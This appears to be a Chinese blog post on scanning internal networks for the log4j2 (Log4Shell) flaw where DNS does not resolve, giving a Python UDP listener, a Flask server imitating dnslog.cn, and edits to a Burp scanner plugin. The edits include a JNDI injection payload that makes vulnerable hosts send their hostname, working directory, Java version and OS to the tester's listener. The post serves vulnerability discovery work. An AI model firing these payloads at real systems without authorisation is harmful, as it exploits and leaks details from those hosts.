前情提要:
内网不通外网,无dns解析,用jndi检测会错过jndi不外连的,给我整不会了
众所周知,nc -ulp能把消费者ip、hostname和webpath带出来。
但是nc单进程,所以需要一个多进程无阻塞的udpserver。
那github找个log4j的burp插件改改,再本地写个udpserver模拟dnslog.cn就行了。
udp-multithreading.py(模拟dnslog解析功能)
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
import socket, threading
def recv_msg(udp_socket):
"""接收数据并显示"""
while True:
# 1. 接收数据
recv_msg = udp_socket.recvfrom(1024)
# 2. 解码
recv_ip = recv_msg[1]
recv_msg = recv_msg[0]#.decode("utf-8") #注意这里的编码如果是windows选择gbk,linux选择utf-8
# 3. 显示接收到的数据
msg = ">>>%s:%s" % (str(recv_ip), recv_msg)
with open('log','a')as f:
f.write(msg+'n')
print(msg)
def main():
# 1. 创建套接字
udp_socket = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
# 2. 绑定本地信息
udp_socket.bind(("", 53))
# 3. 创建一个子线程用来接收数据
t = threading.Thread(target=recv_msg, args=(udp_socket,))
t.start()
if __name__ == "__main__":
main()
server-start.py(模拟dnslog查询功能,记得修改IP为本机内网IP)
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
from flask import Flask, request, make_response
ip = '192.168.229.1'
app = Flask(__name__)
def index():
resp = make_response(ip + ':53') # 响应体
resp.status = str(200)
return resp
def index1():
with open('log','rb')as f:
resp = make_response(f.read()) # 响应体
resp.status = str(200)
return resp
if __name__ == "__main__":
print('http://'+ip+':18888/getdomain.php')
print('http://'+ip+':18888/getrecords.php')
app.run(processes=True,host="0.0.0.0", port=18888)
效果如下:
burp插件我相中了这个,https://github.com/whwlsfb/Log4j2Scan
修改如下:
修改dnslog平台为本机内网IP
srcmainjavaburpdnslogplatformDnslogCN.java:34
String platformUrl = "http://192.168.229.1:18888/";
内网dnslog查询两分钟改成一分钟
srcmainjavaburpdnslogplatformDnslogCN.java:61
}, 0, 1 * 60 * 1000); //2min
回显位置domain改成path
srcmainjavaburpdnslogplatformDnslogCN.java:71
return rootDomain + "/"+Utils.getCurrentTimeMillis() + Utils.GetRandomString(5)+"/${hostName}-${sys:user.dir}-${sys:java.version}-${java:os}";
改一下污点字符串
srcmainjavaburpdnslogplatformDnslogCN.java:88
return dnsLogResultCache.contains(domain.toLowerCase().split("/")[1]);
内网payload不用多,一个basic一个变形就可以了
srcmainjavaburpscannerLog4j2Scanner.java:91
this.pocs = new IPOC[]{new POC2(), new POC4()};
看情况,我选择不fuzz headers
srcmainjavaburpscannerLog4j2Scanner.java:114
//domainMap.putAll(headerFuzz(baseRequestResponse, req));
ldap改成dns
srcmainjavaburppocimplPOC2.java:13
result.append(confusionChars(new String[]{"d", "n", "s"}));
ldap改成dns
srcmainjavaburppocimplPOC4.java:8
return "${jndi:dns://" + domain + "}";
效果如下:
爬虫把requests都代理到burp,右键audit checks – extensions only
burp插件扫出来漏洞请求包里的污点字符串(输入源),拿到本地log文件(消费者,含漏洞点的web路径)去匹配,整条链就明朗了。
公众号后台消息基本不看,有事滴滴
原文始发于微信公众号(流浪猫收容所):log4j2无dns解析黑盒自动化摸排